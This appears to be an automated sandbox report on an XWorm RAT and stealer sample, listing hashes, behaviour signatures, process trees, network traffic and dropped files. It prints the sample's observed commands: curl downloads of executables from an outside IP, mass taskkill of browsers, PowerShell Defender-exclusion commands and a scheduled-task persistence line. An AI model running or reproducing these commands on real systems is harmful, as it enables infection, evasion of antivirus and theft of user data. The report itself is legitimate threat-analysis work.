Malware Analysis Report

2024-11-16 13:34

Sample ID 240526-jpggksce87
Target efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe
SHA256 efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd
Tags
xworm execution persistence rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd

Threat Level: Known bad

The file efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat spyware stealer trojan

Detect Xworm Payload

Xworm

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Executes dropped EXE

Checks computer location settings

Legitimate hosting services abused for malware hosting/C2

Looks up external IP address via web service

Adds Run key to start application

Unsigned PE

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Uses Task Scheduler COM API

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Kills process with taskkill

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-26 07:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-26 07:50

Reported

2024-05-26 07:52

Platform

win7-20240419-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe

"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6B5.tmp\6B6.tmp\6B7.bat C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\6B5.tmp\6B6.tmp\6B7.bat

MD5 abdb6860d790577e02cca5005866bbe8
SHA1 6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37
SHA256 ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0
SHA512 1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-26 07:50

Reported

2024-05-26 07:53

Platform

win10v2004-20240508-en

Max time kernel

148s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\rm.exe N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe" C:\Users\Admin\AppData\Local\Temp\rm.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\rm.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\rm.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\winlogon.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\winlogon.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\winlogon.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\rm.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2672 wrote to memory of 4652 N/A C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe C:\Windows\system32\cmd.exe
PID 2672 wrote to memory of 4652 N/A C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe C:\Windows\system32\cmd.exe
PID 4652 wrote to memory of 4936 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4652 wrote to memory of 4936 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4652 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4652 wrote to memory of 4572 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4652 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
PID 4652 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
PID 3144 wrote to memory of 1788 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1788 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1692 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 4704 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 4704 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1112 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1112 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 5076 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 5076 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1132 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1132 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3256 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3256 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3728 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3028 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3320 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 3144 wrote to memory of 3320 N/A C:\Users\Admin\AppData\Local\Temp\ram.exe C:\Windows\system32\taskkill.exe
PID 4652 wrote to memory of 1676 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\rm.exe
PID 4652 wrote to memory of 1676 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\rm.exe
PID 1676 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 1908 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 3232 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 3232 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 4540 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 4540 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1676 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\schtasks.exe
PID 1676 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\rm.exe C:\Windows\System32\schtasks.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe

"C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat C:\Users\Admin\AppData\Local\Temp\efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd.exe"

C:\Windows\system32\curl.exe

curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe

C:\Windows\system32\curl.exe

curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe

C:\Users\Admin\AppData\Local\Temp\ram.exe

ram.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM chrome.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM firefox.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM brave.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM opera.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM kometa.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM orbitum.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM centbrowser.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM 7star.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM sputnik.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM vivaldi.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM epicprivacybrowser.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM msedge.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM uran.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM yandex.exe /T

C:\Windows\system32\taskkill.exe

taskkill /F /IM iridium.exe /T

C:\Users\Admin\AppData\Local\Temp\rm.exe

rm.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rm.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'rm.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"

C:\ProgramData\winlogon.exe

C:\ProgramData\winlogon.exe

C:\ProgramData\winlogon.exe

C:\ProgramData\winlogon.exe

C:\ProgramData\winlogon.exe

C:\ProgramData\winlogon.exe

Network

Country Destination Domain Proto
RO 188.212.100.57:54391 188.212.100.57 tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 57.100.212.188.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RO 188.212.100.57:54391 188.212.100.57 tcp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
US 8.8.8.8:53 24.19.67.172.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
DE 194.107.126.34:50394 tcp
US 8.8.8.8:53 34.126.107.194.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\4594.tmp\4595.tmp\4596.bat

MD5 abdb6860d790577e02cca5005866bbe8
SHA1 6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37
SHA256 ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0
SHA512 1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce

C:\Users\Admin\AppData\Local\Temp\ram.exe

MD5 2c93399e0b0fc11cd03a56fc844a4816
SHA1 d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00
SHA256 081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155
SHA512 dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8

C:\Users\Admin\AppData\Local\Temp\cards.json

MD5 37a6259cc0c1dae299a7866489dff0bd
SHA1 2be88ca4242c76e8253ac62474851065032d6833
SHA256 74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b
SHA512 04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f

memory/3144-14-0x00007FF6B10C0000-0x00007FF6B18F3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rm.exe

MD5 a43a55c5578f61d05ce146ead83e745a
SHA1 83093f791120d3e74b0d0847aebc52d3c9f04078
SHA256 de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f
SHA512 a49839e60d77003090e0c9f602a64e597648e7151d99c5096479984cee32d376c8bd425114704b9366d213d0e9494900a726dead28e0548c5b7788ad5e5cbf1d

memory/1676-18-0x00000000007A0000-0x00000000007B6000-memory.dmp

memory/1908-21-0x000001CCECEC0000-0x000001CCECEE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4q2cae53.pdr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

memory/2192-43-0x000002791DC30000-0x000002791DE4C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 da5c82b0e070047f7377042d08093ff4
SHA1 89d05987cd60828cca516c5c40c18935c35e8bd3
SHA256 77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
SHA512 7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7d9ecfe610b58440e18d2bffe5167d71
SHA1 7afeed064042ef5e614228f678a0c595699c3d84
SHA256 2c42082be2718281fe2a2bf0136bf417ff214ce7c36bc22a40d23adb1d026632
SHA512 017a63c4b81cd256adec796b9258fbae464d32af59cb654a81dd157e02896f50a252c25b6eac07fc6cb44a493b477e7debfaf9999c854dbd3fb34e24ef443c29

memory/4540-66-0x0000027072690000-0x00000270728AC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\winlogon.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1